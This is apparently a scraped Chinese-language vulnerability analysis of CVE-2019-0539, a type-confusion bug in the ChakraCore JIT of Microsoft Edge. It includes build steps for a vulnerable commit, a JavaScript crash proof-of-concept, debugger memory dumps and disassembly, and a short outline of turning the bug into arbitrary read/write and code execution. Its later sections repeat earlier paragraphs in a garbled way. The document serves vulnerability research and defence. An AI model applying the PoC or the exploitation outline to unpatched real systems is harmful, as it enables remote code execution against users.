CVE-2019-0539漏洞根源分析与利用技术详解<\/h1>

漏洞概述<\/h2>
CVE-2019-0539是Microsoft Edge浏览器中Chakra JavaScript引擎的JIT编译器类型混淆漏洞，由Google Project Zero的研究人员Lokihardt发现并于2019年1月修复。该漏洞允许攻击者通过精心构造的恶意网页实现远程代码执行。<\/p>

环境搭建<\/h2>

获取有漏洞的ChakraCore版本<\/h3>

git clone https:\/\/github.com\/Microsoft\/ChakraCore.git
<\/span><\/span>cd ChakraCore
<\/span><\/span>git checkout 331aa3931ab69ca2bd64f7e020165e693b8030b5
<\/span><\/span>msbuild \/m \/p:Platform=<\/span>x64 \/p:Configuration=<\/span>Debug Build\C<\/span>hakra.Core.sln
<\/span><\/span><\/code><\/pre>使用Time Travel Debugging (TTD)<\/h3>
TTD是微软推出的高级调试工具，允许记录进程执行并向前或向后重放：<\/p>

从微软应用商店安装最新版Windbg<\/li>
以管理员权限运行<\/li>
<\/ol>
漏洞原理分析<\/h2>
PoC代码<\/h3>
function<\/span> opt<\/span>(o<\/span>, c<\/span>, value<\/span>) {
<\/span><\/span>    o<\/span>.b<\/span> =<\/span> 1<\/span>;
<\/span><\/span>    class<\/span> A<\/span> extends<\/span> c<\/span> { \/\/ 可能导致对象类型转换
<\/span><\/span><\/span><\/span>    }
<\/span><\/span>    o<\/span>.a<\/span> =<\/span> value<\/span>; \/\/ 覆盖slot数组指针
<\/span><\/span><\/span><\/span>}
<\/span><\/span>
<\/span><\/span>function<\/span> main<\/span>() {
<\/span><\/span>    for<\/span> (let<\/span> i<\/span> =<\/span> 0<\/span>; i<\/span> <<\/span> 2000<\/span>; i<\/span>++<\/span>) {
<\/span><\/span>        let<\/span> o<\/span> =<\/span> {a<\/span>:<\/span> 1<\/span>, b<\/span>:<\/span> 2<\/span>};
<\/span><\/span>        opt<\/span>(o<\/span>, (function<\/span> () {}), {});
<\/span><\/span>    }
<\/span><\/span>
<\/span><\/span>    let<\/span> o<\/span> =<\/span> {a<\/span>:<\/span> 1<\/span>, b<\/span>:<\/span> 2<\/span>};
<\/span><\/span>    let<\/span> cons<\/span> =<\/span> function<\/span> () {};
<\/span><\/span>    cons<\/span>.prototype<\/span> =<\/span> o<\/span>; \/\/ 使"class A extends c"触发对象类型转换
<\/span><\/span><\/span><\/span>    opt<\/span>(o<\/span>, cons<\/span>, 0x1234<\/span>);
<\/span><\/span>    print<\/span>(o<\/span>.a<\/span>); \/\/ 访问slot数组指针导致崩溃
<\/span><\/span><\/span><\/span>}
<\/span><\/span>
<\/span><\/span>main<\/span>();
<\/span><\/span><\/code><\/pre>关键漏洞点<\/h3>


类型混淆根源<\/strong>：<\/p>

在JIT编译的代码中，对象o<\/code>最初有两个内联slot(a<\/code>和b<\/code>)<\/li>
当执行class A extends c<\/code>时，OP_InitClass<\/code>最终调用SetIsPrototype<\/code>，导致对象类型转换<\/li>
类型转换后，slot不再内联而是存储在slot数组中<\/li>
<\/ul>
<\/li>

JIT优化假设<\/strong>：<\/p>

JIT代码假设对象slot始终是内联的<\/li>
类型转换后，JIT代码仍以内联方式访问slot，导致可以覆盖slot数组指针<\/li>
<\/ul>
<\/li>

内存布局变化<\/strong>：<\/p>
<\/li>
<\/ol>
转换前对象内存布局<\/strong>：<\/p>
00000195`cd274440  00007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable'
00000195`cd274448  00000195`ca3c1d40
00000195`cd274450  00010000`00000001 \/\/ 内联slot 1 (a)
00000195`cd274458  00010000`00000001 \/\/ 内联slot 2 (b)
<\/code><\/pre>
转换后对象内存布局<\/strong>：<\/p>
00000195`cd274440  00007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable'
00000195`cd274448  00000195`cd275d40
00000195`cd274450  00000195`cd2744c0 \/\/ slot数组指针(原内联slot 1)
00000195`cd274458  00000000`00000000
<\/code><\/pre>
漏洞触发流程<\/h3>

JIT代码错误地将0x1234<\/code>写入本应是内联slot的位置<\/li>
实际上覆盖了slot数组指针<\/li>
当后续访问对象属性时，尝试从被覆盖的指针(0x1234<\/code>)处读取，导致访问违例<\/li>
<\/ol>
调试分析<\/h2>
关键断点设置<\/h3>
ba w 8 poi(@rsp+58)+10  \/\/ 监控slot数组指针的写入
<\/code><\/pre>
关键调用栈<\/h3>
chakracore!Js::DynamicTypeHandler::AdjustSlots
chakracore!Js::DynamicObject::DeoptimizeObjectHeaderInlining
chakracore!PathTypeHandlerBase::ConvertToSimpleDictionaryType
chakracore!PathTypeHandlerBase::SetIsPrototype
chakracore!DynamicObject::SetPrototype
chakracore!Js::JavascriptOperators::OP_InitClass
<\/code><\/pre>
关键JIT代码<\/h3>
00000195`<\/span>cc9c0112<\/span> 803<\/span>e01<\/span>          cmp<\/span>     byte<\/span> ptr<\/span> [rsi<\/span>],1<\/span>
<\/span><\/span>00000195`<\/span>cc9c0115<\/span> 0<\/span>f85dc000000<\/span>    jne<\/span>     00000195<\/span>`<\/span>cc9c01f7<\/span>
<\/span><\/span>00000195`<\/span>cc9c011b<\/span> 488<\/span>bc3<\/span>          mov<\/span>     rax<\/span>,rbx<\/span>
<\/span><\/span>00000195`<\/span>cc9c011e<\/span> 48<\/span>c1e830<\/span>        shr<\/span>     rax<\/span>,30<\/span>h<\/span>
<\/span><\/span>00000195`<\/span>cc9c0122<\/span> 0<\/span>f85eb000000<\/span>    jne<\/span>     00000195<\/span>`<\/span>cc9c0213<\/span>
<\/span><\/span>00000195`<\/span>cc9c0128<\/span> 4<\/span>c8b6b08<\/span>        mov<\/span>     r13<\/span>,qword<\/span> ptr<\/span> [rbx<\/span>+<\/span>8<\/span>]
<\/span><\/span>00000195`<\/span>cc9c012c<\/span> 498<\/span>bc5<\/span>          mov<\/span>     rax<\/span>,r13<\/span>
<\/span><\/span>00000195`<\/span>cc9c012f<\/span> 48<\/span>c1e806<\/span>        shr<\/span>     rax<\/span>,6<\/span>
<\/span><\/span>00000195`<\/span>cc9c0133<\/span> 4883<\/span>e007<\/span>        and<\/span>     rax<\/span>,7<\/span>
<\/span><\/span>00000195`<\/span>cc9c0137<\/span> 48<\/span>b9b866ebc995010000<\/span> mov<\/span> rcx<\/span>,195<\/span>C9EB66B8h<\/span>
<\/span><\/span>00000195`<\/span>cc9c0141<\/span> 33<\/span>d2<\/span>            xor<\/span>     edx<\/span>,edx<\/span>
<\/span><\/span>00000195`<\/span>cc9c0143<\/span> 4<\/span>c3b2cc1<\/span>        cmp<\/span>     r13<\/span>,qword<\/span> ptr<\/span> [rcx<\/span>+<\/span>rax<\/span>*8<\/span>]
<\/span><\/span>00000195`<\/span>cc9c0147<\/span> 0<\/span>f85e2000000<\/span>    jne<\/span>     00000195<\/span>`<\/span>cc9c022f<\/span>
<\/span><\/span>00000195`<\/span>cc9c014d<\/span> 480<\/span>f45da<\/span>        cmovne<\/span>  rbx<\/span>,rdx<\/span>
<\/span><\/span>00000195`<\/span>cc9c0151<\/span> 488<\/span>b4310<\/span>        mov<\/span>     rax<\/span>,qword<\/span> ptr<\/span> [rbx<\/span>+<\/span>10<\/span>h<\/span>]
<\/span><\/span>00000195`<\/span>cc9c0155<\/span> 4<\/span>d896610<\/span>        mov<\/span>     qword<\/span> ptr<\/span> [r14<\/span>+<\/span>10<\/span>h<\/span>],r12<\/span> \/\/<\/span> 覆盖<\/span>slot<\/span>数组指针<\/span>
<\/span><\/span><\/code><\/pre>漏洞利用思路<\/h2>

通过类型混淆漏洞覆盖slot数组指针<\/li>
构造伪造的slot数组<\/li>
通过对象属性访问实现任意地址读取\/写入<\/li>
最终实现远程代码执行<\/li>
<\/ol>
总结与防御建议<\/h2>
漏洞本质<\/h3>
该漏洞源于Chakra JIT编译器在优化过程中对对象布局做出了错误假设，未能正确处理类型转换后对象布局的变化，导致类型混淆和内存破坏。<\/p>
防御措施<\/h3>

及时更新浏览器和JavaScript引擎<\/li>
启用适当的沙箱保护机制<\/li>
对JIT编译器进行更严格的对象布局验证<\/li>
实现更全面的类型系统检查<\/li>
<\/ol>
研究价值<\/h3>

展示了JavaScript引擎中JIT编译器的复杂性<\/li>
揭示了类型系统实现中的潜在风险<\/li>
证明了TTD在漏洞分析中的强大能力<\/li>
为后续JIT编译器安全设计提供了重要参考<\/li>
<\/ol>

CVE-2019-0539漏洞根源分析与利用技术详解<\/h1>

漏洞概述<\/h2> CVE-2019-0539是Microsoft Edge浏览器中Chakra JavaScript引擎的JIT编译器类型混淆漏洞，由Google Project Zero的研究人员Lokihardt发现并于2019年1月修复。该漏洞允许攻击者通过精心构造的恶意网页实现远程代码执行。<\/p>

环境搭建<\/h2>

漏洞原理分析<\/h2>

调试分析<\/h2>

总结与防御建议<\/h2>

漏洞本质<\/h3> 该漏洞源于Chakra JIT编译器在优化过程中对对象布局做出了错误假设，未能正确处理类型转换后对象布局的变化，导致类型混淆和内存破坏。<\/p>

研究价值<\/h3> 展示了JavaScript引擎中JIT编译器的复杂性<\/li> 揭示了类型系统实现中的潜在风险<\/li> 证明了TTD在漏洞分析中的强大能力<\/li> 为后续JIT编译器安全设计提供了重要参考<\/li> <\/ol>

漏洞概述<\/h2>
CVE-2019-0539是Microsoft Edge浏览器中Chakra JavaScript引擎的JIT编译器类型混淆漏洞，由Google Project Zero的研究人员Lokihardt发现并于2019年1月修复。该漏洞允许攻击者通过精心构造的恶意网页实现远程代码执行。<\/p>

漏洞本质<\/h3>
该漏洞源于Chakra JIT编译器在优化过程中对对象布局做出了错误假设，未能正确处理类型转换后对象布局的变化，导致类型混淆和内存破坏。<\/p>

研究价值<\/h3>

展示了JavaScript引擎中JIT编译器的复杂性<\/li>
揭示了类型系统实现中的潜在风险<\/li>
证明了TTD在漏洞分析中的强大能力<\/li>
为后续JIT编译器安全设计提供了重要参考<\/li> <\/ol>